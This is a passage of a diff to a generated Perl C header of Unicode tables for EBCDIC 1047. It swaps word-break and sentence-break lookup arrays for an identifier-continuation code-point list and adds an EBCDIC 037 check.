-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Format,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other
-};
-
-#endif	/* defined(PERL_IN_REGEXEC_C) */
-
-#if defined(PERL_IN_PERL_C)
-
-static const UV _Perl_WB_invlist[] = { /* for EBCDIC 1047 */
-	1680,	/* Number of elements */
+static const UV PL__PERL_IDCONT_invlist[] = { /* for EBCDIC 1047 */
+	1417,	/* Number of elements */
 	148565664, /* Version and data structure type */
-	0,	/* 0 if the list starts at 0;
+	1,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
-	0x5,
-	0x6,
-	0xB,
-	0xD,
-	0xE,
-	0x15,
-	0x16,
-	0x25,
-	0x26,
-	0x40,
 	0x42,
 	0x4A,
-	0x4B,
-	0x4C,
 	0x51,
 	0x5A,
-	0x5E,
-	0x5F,
 	0x62,
 	0x6A,
-	0x6B,
-	0x6C,
 	0x6D,
 	0x6E,
 	0x70,
 	0x79,
-	0x7A,
-	0x7B,
-	0x7D,
-	0x7E,
-	0x7F,
 	0x80,
 	0x8A,
 	0x8C,
@@ -50096,8 +163212,6 @@
 	0xAD,
 	0xAE,
 	0xAF,
-	0xB3,
-	0xB4,
 	0xBA,
 	0xBB,
 	0xC1,
@@ -50111,7 +163225,6 @@
 	0xE2,
 	0xEA,
 	0xEB,
-	0xF0,
 	0xFA,
 	0xFB,
 	0xFF,
@@ -50119,8 +163232,6 @@
 	0x2C2,
 	0x2C6,
 	0x2D2,
-	0x2D7,
-	0x2D8,
 	0x2E0,
 	0x2E5,
 	0x2EC,
@@ -50128,11 +163239,10 @@
 	0x2EE,
 	0x2EF,
 	0x300,
-	0x370,
 	0x375,
 	0x376,
 	0x378,
-	0x37A,
+	0x37B,
 	0x37E,
 	0x37F,
 	0x380,
@@ -50149,6 +163259,7 @@
 	0x3F7,
 	0x482,
 	0x483,
+	0x488,
 	0x48A,
 	0x530,
 	0x531,
@@ -50157,8 +163268,6 @@
 	0x55A,
 	0x561,
 	0x588,
-	0x589,
-	0x58A,
 	0x591,
 	0x5BE,
 	0x5BF,
@@ -50173,73 +163282,34 @@
 	0x5EB,
 	0x5F0,
 	0x5F3,
-	0x5F4,
-	0x5F5,
-	0x600,
-	0x606,
-	0x60C,
-	0x60E,
 	0x610,
 	0x61B,
-	0x61C,
-	0x61D,
 	0x620,
-	0x64B,
-	0x660,
 	0x66A,
-	0x66B,
-	0x66C,
-	0x66D,
 	0x66E,
-	0x670,
-	0x671,
 	0x6D4,
 	0x6D5,
-	0x6D6,
 	0x6DD,
-	0x6DE,
 	0x6DF,
-	0x6E5,
-	0x6E7,
 	0x6E9,
 	0x6EA,
-	0x6EE,
-	0x6F0,
-	0x6FA,
 	0x6FD,
 	0x6FF,
 	0x700,
-	0x70F,
 	0x710,
-	0x711,
-	0x712,
-	0x730,
 	0x74B,
 	0x74D,
-	0x7A6,
-	0x7B1,
 	0x7B2,
 	0x7C0,
-	0x7CA,
-	0x7EB,
-	0x7F4,
 	0x7F6,
-	0x7F8,
-	0x7F9,
 	0x7FA,
 	0x7FB,
 	0x800,
-	0x816,
-	0x81A,
-	0x81B,
-	0x824,
-	0x825,
-	0x828,
-	0x829,
 	0x82E,
 	0x840,
-	0x859,
 	0x85C,
+	0x860,
+	0x86B,
 	0x8A0,
 	0x8B5,
 	0x8B6,
@@ -50247,19 +163317,10 @@
 	0x8D4,
 	0x8E2,
 	0x8E3,
-	0x904,
-	0x93A,
-	0x93D,
-	0x93E,
-	0x950,
-	0x951,
-	0x958,
-	0x962,
 	0x964,
 	0x966,
 	0x970,
 	0x971,
-	0x981,
 	0x984,
 	0x985,
 	0x98D,
@@ -50274,13 +163335,10 @@
 	0x9B6,
 	0x9BA,
 	0x9BC,
-	0x9BD,
-	0x9BE,
 	0x9C5,
 	0x9C7,
 	0x9C9,
 	0x9CB,
-	0x9CE,
 	0x9CF,
 	0x9D7,
 	0x9D8,
@@ -50287,11 +163345,11 @@
 	0x9DC,
 	0x9DE,
 	0x9DF,
-	0x9E2,
 	0x9E4,
 	0x9E6,
-	0x9F0,
 	0x9F2,
+	0x9FC,
+	0x9FD,
 	0xA01,
 	0xA04,
 	0xA05,
@@ -50323,9 +163381,6 @@
 	0xA5E,
 	0xA5F,
 	0xA66,
-	0xA70,
-	0xA72,
-	0xA75,
 	0xA76,
 	0xA81,
 	0xA84,
@@ -50342,8 +163397,6 @@
 	0xAB5,
 	0xABA,
 	0xABC,
-	0xABD,
-	0xABE,
 	0xAC6,
 	0xAC7,
 	0xACA,
@@ -50352,12 +163405,11 @@
 	0xAD0,
 	0xAD1,
 	0xAE0,
-	0xAE2,
 	0xAE4,
 	0xAE6,
 	0xAF0,
 	0xAF9,
-	0xAFA,
+	0xB00,
 	0xB01,
 	0xB04,
 	0xB05,
@@ -50373,8 +163425,6 @@
 	0xB35,
 	0xB3A,
 	0xB3C,
-	0xB3D,
-	0xB3E,
 	0xB45,
 	0xB47,
 	0xB49,
@@ -50385,7 +163435,6 @@
 	0xB5C,
 	0xB5E,
 	0xB5F,
-	0xB62,
 	0xB64,
 	0xB66,
 	0xB70,
@@ -50392,7 +163441,6 @@
 	0xB71,
 	0xB72,
 	0xB82,
-	0xB83,
 	0xB84,
 	0xB85,
 	0xB8B,
@@ -50435,7 +163483,6 @@
 	0xC2A,
 	0xC3A,
 	0xC3D,
-	0xC3E,
 	0xC45,
 	0xC46,
 	0xC49,
@@ -50446,12 +163493,10 @@
 	0xC58,
 	0xC5B,
 	0xC60,
-	0xC62,
 	0xC64,
 	0xC66,
 	0xC70,
 	0xC80,
-	0xC81,
 	0xC84,
 	0xC85,
 	0xC8D,
@@ -50464,8 +163509,6 @@
 	0xCB5,
 	0xCBA,
 	0xCBC,
-	0xCBD,
-	0xCBE,
 	0xCC5,
 	0xCC6,
 	0xCC9,
@@ -50476,13 +163519,12 @@
 	0xCDE,
 	0xCDF,
 	0xCE0,
-	0xCE2,
 	0xCE4,
 	0xCE6,
 	0xCF0,
 	0xCF1,
 	0xCF3,
-	0xD01,
+	0xD00,
 	0xD04,
 	0xD05,
 	0xD0D,
@@ -50489,20 +163531,14 @@
 	0xD0E,
 	0xD11,
 	0xD12,
-	0xD3B,
-	0xD3D,
-	0xD3E,
 	0xD45,
 	0xD46,
 	0xD49,
 	0xD4A,
-	0xD4E,
 	0xD4F,
 	0xD54,
-	0xD57,
 	0xD58,
 	0xD5F,
-	0xD62,
 	0xD64,
 	0xD66,
 	0xD70,
@@ -50532,24 +163568,48 @@
 	0xDF0,
 	0xDF2,
 	0xDF4,
-	0xE31,
-	0xE32,
-	0xE34,
+	0xE01,
 	0xE3B,
-	0xE47,
+	0xE40,
 	0xE4F,
 	0xE50,
 	0xE5A,
-	0xEB1,
-	0xEB2,
-	0xEB4,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
 	0xEBA,
 	0xEBB,
-	0xEBD,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
 	0xEC8,
 	0xECE,
 	0xED0,
 	0xEDA,
+	0xEDC,
+	0xEE0,
 	0xF00,
 	0xF01,
 	0xF18,
@@ -50563,7 +163623,6 @@
 	0xF39,
 	0xF3A,
 	0xF3E,
-	0xF40,
 	0xF48,
 	0xF49,
 	0xF6D,
@@ -50570,32 +163629,14 @@
 	0xF71,
 	0xF85,
 	0xF86,
-	0xF88,
-	0xF8D,
 	0xF98,
 	0xF99,
 	0xFBD,
 	0xFC6,
 	0xFC7,
-	0x102B,
-	0x103F,
-	0x1040,
+	0x1000,
 	0x104A,
-	0x1056,
-	0x105A,
-	0x105E,
-	0x1061,
-	0x1062,
-	0x1065,
-	0x1067,
-	0x106E,
-	0x1071,
-	0x1075,
-	0x1082,
-	0x108E,
-	0x108F,
-	0x1090,
-	0x109A,
+	0x1050,
 	0x109E,
 	0x10A0,
 	0x10C6,
@@ -50658,13 +163699,10 @@
 	0x1700,
 	0x170D,
 	0x170E,
-	0x1712,
 	0x1715,
 	0x1720,
-	0x1732,
 	0x1735,
 	0x1740,
-	0x1752,
 	0x1754,
 	0x1760,
 	0x176D,
@@ -50672,24 +163710,21 @@
 	0x1771,
 	0x1772,
 	0x1774,
-	0x17B4,
+	0x1780,
 	0x17D4,
-	0x17DD,
+	0x17D7,
+	0x17D8,
+	0x17DC,
 	0x17DE,
 	0x17E0,
 	0x17EA,
 	0x180B,
 	0x180E,
-	0x180F,
 	0x1810,
 	0x181A,
 	0x1820,
 	0x1878,
 	0x1880,
-	0x1885,
-	0x1887,
-	0x18A9,
-	0x18AA,
 	0x18AB,
 	0x18B0,
 	0x18F6,
@@ -50700,27 +163735,30 @@
 	0x1930,
 	0x193C,
 	0x1946,
-	0x1950,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
 	0x19D0,
 	0x19DA,
 	0x1A00,
-	0x1A17,
 	0x1A1C,
-	0x1A55,
+	0x1A20,
 	0x1A5F,
 	0x1A60,
 	0x1A7D,
 	0x1A7F,
-	0x1A80,
 	0x1A8A,
 	0x1A90,
 	0x1A9A,
+	0x1AA7,
+	0x1AA8,
 	0x1AB0,
-	0x1ABF,
+	0x1ABE,
 	0x1B00,
-	0x1B05,
-	0x1B34,
-	0x1B45,
 	0x1B4C,
 	0x1B50,
 	0x1B5A,
@@ -50727,21 +163765,12 @@
 	0x1B6B,
 	0x1B74,
 	0x1B80,
-	0x1B83,
-	0x1BA1,
-	0x1BAE,
-	0x1BB0,
-	0x1BBA,
-	0x1BE6,
 	0x1BF4,
 	0x1C00,
-	0x1C24,
 	0x1C38,
 	0x1C40,
 	0x1C4A,
 	0x1C4D,
-	0x1C50,
-	0x1C5A,
 	0x1C7E,
 	0x1C80,
 	0x1C89,
@@ -50748,19 +163777,10 @@
 	0x1CD0,
 	0x1CD3,
 	0x1CD4,
-	0x1CE9,
-	0x1CED,
-	0x1CEE,
-	0x1CF2,
-	0x1CF5,
-	0x1CF7,
-	0x1CF8,
 	0x1CFA,
 	0x1D00,
-	0x1DC0,
-	0x1DF6,
+	0x1DFA,
 	0x1DFB,
-	0x1E00,
 	0x1F16,
 	0x1F18,
 	0x1F1E,
@@ -50798,32 +163818,10 @@
 	0x1FF5,
 	0x1FF6,
 	0x1FFD,
-	0x2000,
-	0x200B,
-	0x200C,
-	0x200D,
-	0x200E,
-	0x2010,
-	0x2018,
-	0x201A,
-	0x2024,
-	0x2025,
-	0x2027,
-	0x2028,
-	0x202A,
-	0x202F,
-	0x2030,
 	0x203F,
 	0x2041,
-	0x2044,
-	0x2045,
 	0x2054,
 	0x2055,
-	0x205F,
-	0x2060,
-	0x2065,
-	0x2066,
-	0x2070,
 	0x2071,
 	0x2072,
 	0x207F,
@@ -50831,6 +163829,10 @@
 	0x2090,
 	0x209D,
 	0x20D0,
+	0x20DD,
+	0x20E1,
+	0x20E2,
+	0x20E5,
 	0x20F1,
 	0x2102,
 	0x2103,
@@ -50860,16 +163862,6 @@
 	0x214F,
 	0x2160,
 	0x2189,
-	0x24B6,
-	0x24EA,
-	0x261D,
-	0x261E,
-	0x26F9,
-	0x26FA,
-	0x270A,
-	0x270E,
-	0x2764,
-	0x2765,
 	0x2C00,
 	0x2C2F,
 	0x2C30,
@@ -50877,8 +163869,6 @@
 	0x2C60,
 	0x2CE5,
 	0x2CEB,
-	0x2CEF,
-	0x2CF2,
 	0x2CF4,
 	0x2D00,
 	0x2D26,
@@ -50891,7 +163881,6 @@
 	0x2D6F,
 	0x2D70,
 	0x2D7F,
-	0x2D80,
 	0x2D97,
 	0x2DA0,
 	0x2DA7,
@@ -50911,27 +163900,26 @@
 	0x2DDF,
 	0x2DE0,
 	0x2E00,
-	0x2E2F,
-	0x2E30,
-	0x3000,
-	0x3001,
 	0x3005,
-	0x3006,
-	0x302A,
+	0x3008,
+	0x3021,
 	0x3030,
 	0x3031,
 	0x3036,
-	0x303B,
+	0x3038,
 	0x303D,
+	0x3041,
+	0x3097,
 	0x3099,
 	0x309B,
 	0x309D,
 	0x30A0,
+	0x30A1,
 	0x30FB,
 	0x30FC,
 	0x3100,
 	0x3105,
-	0x312E,
+	0x312F,
 	0x3131,
 	0x318F,
 	0x31A0,
@@ -50938,10 +163926,10 @@
 	0x31BB,
 	0x31F0,
 	0x3200,
-	0x32D0,
-	0x32FF,
-	0x3300,
-	0x3358,
+	0x3400,
+	0x4DB6,
+	0x4E00,
+	0x9FEB,
 	0xA000,
 	0xA48D,
 	0xA4D0,
@@ -50949,18 +163937,12 @@
 	0xA500,
 	0xA60D,
 	0xA610,
-	0xA620,
-	0xA62A,
 	0xA62C,
 	0xA640,
-	0xA66F,
-	0xA673,
+	0xA670,
 	0xA674,
 	0xA67E,
 	0xA67F,
-	0xA69E,
-	0xA6A0,
-	0xA6F0,
 	0xA6F2,
 	0xA717,
 	0xA720,
@@ -50971,24 +163953,14 @@
 	0xA7B0,
 	0xA7B8,
 	0xA7F7,
-	0xA802,
-	0xA803,
-	0xA806,
-	0xA807,
-	0xA80B,
-	0xA80C,
-	0xA823,
 	0xA828,
 	0xA840,
 	0xA874,
 	0xA880,
-	0xA882,
-	0xA8B4,
 	0xA8C6,
 	0xA8D0,
 	0xA8DA,
 	0xA8E0,
-	0xA8F2,
 	0xA8F8,
 	0xA8FB,
 	0xA8FC,
@@ -50995,52 +163967,32 @@
 	0xA8FD,
 	0xA8FE,
 	0xA900,
-	0xA90A,
-	0xA926,
 	0xA92E,
 	0xA930,
-	0xA947,
 	0xA954,
 	0xA960,
 	0xA97D,
 	0xA980,
-	0xA984,
-	0xA9B3,
 	0xA9C1,
 	0xA9CF,
-	0xA9D0,
 	0xA9DA,
-	0xA9E5,
-	0xA9E6,
-	0xA9F0,
-	0xA9FA,
+	0xA9E0,
+	0xA9FF,
 	0xAA00,
-	0xAA29,
 	0xAA37,
 	0xAA40,
-	0xAA43,
-	0xAA44,
-	0xAA4C,
 	0xAA4E,
 	0xAA50,
 	0xAA5A,
-	0xAA7B,
-	0xAA7E,
-	0xAAB0,
-	0xAAB1,
-	0xAAB2,
-	0xAAB5,
-	0xAAB7,
-	0xAAB9,
-	0xAABE,
-	0xAAC0,
-	0xAAC1,
-	0xAAC2,
+	0xAA60,
+	0xAA77,
+	0xAA7A,
+	0xAAC3,
+	0xAADB,
+	0xAADE,
 	0xAAE0,
-	0xAAEB,
 	0xAAF0,
 	0xAAF2,
-	0xAAF5,
 	0xAAF7,
 	0xAB01,
 	0xAB07,
@@ -51057,7 +164009,6 @@
 	0xAB5C,
 	0xAB66,
 	0xAB70,
-	0xABE3,
 	0xABEB,
 	0xABEC,
 	0xABEE,
@@ -51069,13 +164020,15 @@
 	0xD7C7,
 	0xD7CB,
 	0xD7FC,
+	0xF900,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
 	0xFB00,
 	0xFB07,
 	0xFB13,
 	0xFB18,
 	0xFB1D,
-	0xFB1E,
-	0xFB1F,
 	0xFB29,
 	0xFB2A,
 	0xFB37,
@@ -51088,9 +164041,10 @@
 	0xFB43,
 	0xFB45,
 	0xFB46,
-	0xFB50,
 	0xFBB2,
 	0xFBD3,
+	0xFC5E,
+	0xFC64,
 	0xFD3E,
 	0xFD50,
 	0xFD90,
@@ -51097,13 +164051,9 @@
 	0xFD92,
 	0xFDC8,
 	0xFDF0,
-	0xFDFC,
+	0xFDFA,
 	0xFE00,
 	0xFE10,
-	0xFE11,
-	0xFE13,
-	0xFE14,
-	0xFE15,
 	0xFE20,
 	0xFE30,
 	0xFE33,
@@ -51110,27 +164060,22 @@
 	0xFE35,
 	0xFE4D,
 	0xFE50,
-	0xFE51,
-	0xFE52,
-	0xFE53,
-	0xFE54,
-	0xFE55,
-	0xFE56,
-	0xFE70,
-	0xFE75,
-	0xFE76,
+	0xFE71,
+	0xFE72,
+	0xFE73,
+	0xFE74,
+	0xFE77,
+	0xFE78,
+	0xFE79,
+	0xFE7A,
+	0xFE7B,
+	0xFE7C,
+	0xFE7D,
+	0xFE7E,
+	0xFE7F,
 	0xFEFD,
-	0xFEFF,
-	0xFF00,
-	0xFF07,
-	0xFF08,
-	0xFF0C,
-	0xFF0D,
-	0xFF0E,
-	0xFF0F,
+	0xFF10,
 	0xFF1A,
-	0xFF1B,
-	0xFF1C,
 	0xFF21,
 	0xFF3B,
 	0xFF3F,
@@ -51138,8 +164083,6 @@
 	0xFF41,
 	0xFF5B,
 	0xFF66,
-	0xFF9E,
-	0xFFA0,
 	0xFFBF,
 	0xFFC2,
 	0xFFC8,
@@ -51149,8 +164092,6 @@
 	0xFFD8,
 	0xFFDA,
 	0xFFDD,
-	0xFFF9,
-	0xFFFC,
 	0x10000,
 	0x1000C,
 	0x1000D,
@@ -51177,10 +164118,9 @@
 	0x102E1,
 	0x10300,
 	0x10320,
-	0x10330,
+	0x1032D,
 	0x1034B,
 	0x10350,
-	0x10376,
 	0x1037B,
 	0x10380,
 	0x1039E,
@@ -51237,12 +164177,10 @@
 	0x109BE,
 	0x109C0,
 	0x10A00,
-	0x10A01,
 	0x10A04,
 	0x10A05,
 	0x10A07,
 	0x10A0C,
-	0x10A10,
 	0x10A14,
 	0x10A15,
 	0x10A18,
@@ -51259,7 +164197,6 @@
 	0x10AC0,
 	0x10AC8,
 	0x10AC9,
-	0x10AE5,
 	0x10AE7,
 	0x10B00,
 	0x10B36,
@@ -51276,41 +164213,28 @@
 	0x10CC0,
 	0x10CF3,
 	0x11000,
-	0x11003,
-	0x11038,
 	0x11047,
 	0x11066,
 	0x11070,
 	0x1107F,
-	0x11083,
-	0x110B0,
 	0x110BB,
-	0x110BD,
-	0x110BE,
 	0x110D0,
 	0x110E9,
 	0x110F0,
 	0x110FA,
 	0x11100,
-	0x11103,
-	0x11127,
 	0x11135,
 	0x11136,
 	0x11140,
 	0x11150,
-	0x11173,
 	0x11174,
 	0x11176,
 	0x11177,
 	0x11180,
-	0x11183,
-	0x111B3,
-	0x111C1,
 	0x111C5,
 	0x111CA,
 	0x111CD,
 	0x111D0,
-	0x111DA,
 	0x111DB,
 	0x111DC,
 	0x111DD,
@@ -51317,7 +164241,6 @@
 	0x11200,
 	0x11212,
 	0x11213,
-	0x1122C,
 	0x11238,
 	0x1123E,
 	0x1123F,
@@ -51332,7 +164255,6 @@
 	0x1129F,
 	0x112A9,
 	0x112B0,
-	0x112DF,
 	0x112EB,
 	0x112F0,
 	0x112FA,
@@ -51351,8 +164273,6 @@
 	0x11335,
 	0x1133A,
 	0x1133C,
-	0x1133D,
-	0x1133E,
 	0x11345,
 	0x11347,
 	0x11349,
@@ -51363,7 +164283,6 @@
 	0x11357,
 	0x11358,
 	0x1135D,
-	0x11362,
 	0x11364,
 	0x11366,
 	0x1136D,
@@ -51370,14 +164289,10 @@
 	0x11370,
 	0x11375,
 	0x11400,
-	0x11435,
-	0x11447,
 	0x1144B,
 	0x11450,
 	0x1145A,
 	0x11480,
-	0x114B0,
-	0x114C4,
 	0x114C6,
 	0x114C7,
 	0x114C8,
@@ -51384,15 +164299,12 @@
 	0x114D0,
 	0x114DA,
 	0x11580,
-	0x115AF,
 	0x115B6,
 	0x115B8,
 	0x115C1,
 	0x115D8,
-	0x115DC,
 	0x115DE,
 	0x11600,
-	0x11630,
 	0x11641,
 	0x11644,
 	0x11645,
@@ -51399,28 +164311,34 @@
 	0x11650,
 	0x1165A,
 	0x11680,
-	0x116AB,
 	0x116B8,
 	0x116C0,
 	0x116CA,
+	0x11700,
+	0x1171A,
 	0x1171D,
 	0x1172C,
 	0x11730,
 	0x1173A,
 	0x118A0,
-	0x118E0,
 	0x118EA,
 	0x118FF,
 	0x11900,
+	0x11A00,
+	0x11A3F,
+	0x11A47,
+	0x11A48,
+	0x11A50,
+	0x11A84,
+	0x11A86,
+	0x11A9A,
 	0x11AC0,
 	0x11AF9,
 	0x11C00,
 	0x11C09,
 	0x11C0A,
-	0x11C2F,
 	0x11C37,
 	0x11C38,
-	0x11C40,
 	0x11C41,
 	0x11C50,
 	0x11C5A,
@@ -51430,6 +164348,20 @@
 	0x11CA8,
 	0x11CA9,
 	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D48,
+	0x11D50,
+	0x11D5A,
 	0x12000,
 	0x1239A,
 	0x12400,
@@ -51451,7 +164383,6 @@
 	0x16AF0,
 	0x16AF5,
 	0x16B00,
-	0x16B30,
 	0x16B37,
 	0x16B40,
 	0x16B44,
@@ -51464,15 +164395,19 @@
 	0x16F00,
 	0x16F45,
 	0x16F50,
-	0x16F51,
 	0x16F7F,
 	0x16F8F,
-	0x16F93,
 	0x16FA0,
 	0x16FE0,
-	0x16FE1,
+	0x16FE2,
+	0x17000,
+	0x187ED,
+	0x18800,
+	0x18AF3,
 	0x1B000,
-	0x1B001,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
 	0x1BC00,
 	0x1BC6B,
 	0x1BC70,
@@ -51483,8 +164418,6 @@
 	0x1BC9A,
 	0x1BC9D,
 	0x1BC9F,
-	0x1BCA0,
-	0x1BCA4,
 	0x1D165,
 	0x1D16A,
 	0x1D16D,
@@ -51586,7 +164519,6 @@
 	0x1E8D0,
 	0x1E8D7,
 	0x1E900,
-	0x1E944,
 	0x1E94B,
 	0x1E950,
 	0x1E95A,
@@ -51656,1925 +164588,43 @@
 	0x1EEAA,
 	0x1EEAB,
 	0x1EEBC,
-	0x1F130,
-	0x1F14A,
-	0x1F150,
-	0x1F16A,
-	0x1F170,
-	0x1F18A,
-	0x1F1E6,
-	0x1F200,
-	0x1F385,
-	0x1F386,
-	0x1F3C3,
-	0x1F3C5,
-	0x1F3CA,
-	0x1F3CC,
-	0x1F3FB,
-	0x1F400,
-	0x1F442,
-	0x1F444,
-	0x1F446,
-	0x1F451,
-	0x1F466,
-	0x1F46A,
-	0x1F46E,
-	0x1F46F,
-	0x1F470,
-	0x1F479,
-	0x1F47C,
-	0x1F47D,
-	0x1F481,
-	0x1F484,
-	0x1F485,
-	0x1F488,
-	0x1F48B,
-	0x1F48C,
-	0x1F4AA,
-	0x1F4AB,
-	0x1F575,
-	0x1F576,
-	0x1F57A,
-	0x1F57B,
-	0x1F590,
-	0x1F591,
-	0x1F595,
-	0x1F597,
-	0x1F5E8,
-	0x1F5E9,
-	0x1F645,
-	0x1F648,
-	0x1F64B,
-	0x1F650,
-	0x1F6A3,
-	0x1F6A4,
-	0x1F6B4,
-	0x1F6B7,
-	0x1F6C0,
-	0x1F6C1,
-	0x1F918,
-	0x1F91F,
-	0x1F926,
-	0x1F927,
-	0x1F930,
-	0x1F931,
-	0x1F933,
-	0x1F93A,
-	0x1F93C,
-	0x1F93F,
-	0xE0001,
-	0xE0002,
-	0xE0020,
-	0xE0080,
+	0x20000,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2B820,
+	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
+	0x2F800,
+	0x2FA1E,
 	0xE0100,
 	0xE01F0
 };
 
-#endif	/* defined(PERL_IN_PERL_C) */
+#   endif	/* EBCDIC 1047 */
 
-#if defined(PERL_IN_REGEXEC_C)
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
 
-#define WB_ENUM_COUNT 25
-
-typedef enum {
-	WB_Other = 0,
-	WB_ALetter = 1,
-	WB_CR = 2,
-	WB_Double_Quote = 3,
-	WB_E_Base = 4,
-	WB_E_Base_GAZ = 5,
-	WB_E_Modifier = 6,
-	WB_Extend = 7,
-	WB_ExtendNumLet = 8,
-	WB_Format = 9,
-	WB_Glue_After_Zwj = 10,
-	WB_Hebrew_Letter = 11,
-	WB_Katakana = 12,
-	WB_LF = 13,
-	WB_MidLetter = 14,
-	WB_MidNum = 15,
-	WB_MidNumLet = 16,
-	WB_Newline = 17,
-	WB_Numeric = 18,
-	WB_Perl_Tailored_HSpace = 19,
-	WB_Regional_Indicator = 20,
-	WB_Single_Quote = 21,
-	WB_ZWJ = 22,
-	WB_EDGE = 23,
-	WB_UNKNOWN = 24
-} WB_enum;
-
-static const WB_enum _Perl_WB_invmap[] = { /* for EBCDIC 1047 */
-	WB_Other,
-	WB_Perl_Tailored_HSpace,
-	WB_Other,
-	WB_Newline,
-	WB_CR,
-	WB_Other,
-	WB_LF,
-	WB_Other,
-	WB_Newline,
-	WB_Other,
-	WB_Perl_Tailored_HSpace,
-	WB_ALetter,
-	WB_Other,
-	WB_MidNumLet,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_MidNum,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_MidNum,
-	WB_Other,
-	WB_ExtendNumLet,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_MidLetter,
-	WB_Other,
-	WB_Single_Quote,
-	WB_Other,
-	WB_Double_Quote,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_MidLetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Format,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Numeric,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_MidLetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_MidNum,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_MidLetter,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_MidNum,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Hebrew_Letter,
-	WB_Other,
-	WB_Hebrew_Letter,
-	WB_ALetter,
-	WB_MidLetter,
-	WB_Other,
-	WB_Format,
-	WB_Other,
-	WB_MidNum,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Format,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Numeric,
-	WB_Other,
-	WB_Numeric,
-	WB_MidNum,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Format,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Numeric,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Format,
-	WB_ALetter,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_ALetter,
-	WB_Other,
-	WB_Numeric,
-	WB_ALetter,
-	WB_Extend,
-	WB_ALetter,
-	WB_Other,
-	WB_MidNum,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_ALetter,
